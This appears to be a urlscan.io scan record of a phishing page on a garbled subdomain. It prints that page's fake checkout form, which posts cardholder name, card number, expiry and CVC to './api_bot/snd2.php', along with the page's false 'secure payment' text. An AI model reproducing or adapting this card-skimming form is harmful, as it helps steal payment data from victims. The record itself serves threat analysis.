servcuomanagmaneter-suppotmandlmnder.piedmontrm.com Open in urlscan Pro
109.176.199.80  Public Scan

Form analysis
1 forms found in the DOM

POST ./api_bot/snd2.php

<form action="./api_bot/snd2.php" method="post" class="form" id="payment-form">
  <input id="processout_token" name="token" hidden="">
  <input id="user_payment_gateway_id" name="user_payment_gateway_id" value="131" hidden="">
  <div>
    <label for="card_number">Name on card</label>
    <input name="hz_username" type="text" id="cardholdername" required="" autocomplete="cc-name" placeholder="Name on card">
  </div>
  <div>
    <label for="card_number">Card number</label>
    <input name="hz_cc" data-processout-input="cc-number" required="" onkeypress="return isNumberKey(event)" autocomplete="cc-number" maxlength="16" placeholder="Card number">
    <div class="input-group-append">
      <span class="input-group-text">
        <img src="./images/default.svg" class="card-logo" height="20">
      </span>
    </div>
  </div>
  <div>
    <label for="card_expiration_year">Expiry date</label>
    <input name="hz_mm" data-processout-input="cc-exp" required="" id="dateInput" onkeyup="addSlashes(this)" maxlength="5" autocomplete="cc-exp" placeholder="MM / YY">
  </div>
  <div>
    <label for="card_cvc">CVC code</label>
    <input name="hz_cvv" data-processout-input="cc-cvc" required="" autocomplete="cc-csc" maxlength="4" placeholder="CVC code">
  </div>
  <button type="submit" id="payment-btn" hidden="">Submit Secure Payment</button>
  <input id="session_id" name="session_id" hidden="" value="728a6633-6e8f-4efc-94bc-61a3df72fa99"><input id="cart_token" name="cart_token" hidden="" value="f0f34eec-c43a-41cd-a755-7c578a028bfa">
</form>

Text Content

2. SELECT PAYMENT

CREDIT CARD




TOTAL

$15.52


$10.52


Name on card
Card number

Expiry date
CVC code
Submit Secure Payment
Submit Secure Payment
30-Day Money-Back Guarantee
Encrypted and Secure Payments

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